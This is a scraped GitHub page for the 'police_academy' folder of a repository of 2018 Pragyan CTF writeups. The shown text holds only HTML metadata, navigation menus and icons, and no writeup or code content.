content="ctf-writeups/2018/pragyan/police_academy at master · phieulang1993/ctf-writeups" /><meta property="og:url" content="https://github.com/phieulang1993/ctf-writeups" /><meta property="og:description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/phieulang1993/ctf-writeups git https://github.com/phieulang1993/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="13719185" /><meta name="octolytics-dimension-user_login" content="phieulang1993" /><meta name="octolytics-dimension-repository_id" content="119324220" /><meta name="octolytics-dimension-repository_nwo" content="phieulang1993/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="119324220" /><meta name="octolytics-dimension-repository_network_root_nwo" content="phieulang1993/ctf-writeups" />
<link rel="canonical" href="https://github.com/phieulang1993/ctf-writeups/tree/master/2018/pragyan/police_academy" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="119324220" data-scoped-search-url="/phieulang1993/ctf-writeups/search" data-owner-scoped-search-url="/users/phieulang1993/search" data-unscoped-search-url="/search" data-turbo="false" action="/phieulang1993/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="dZSrnEJhCeETNmNaEc7NqIqSojk1ZaiQSuy0Qy6ncDbTIxI5TfBfUCK5ltfAY8CohQF3JG0yWgnul9jbPRLFyg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
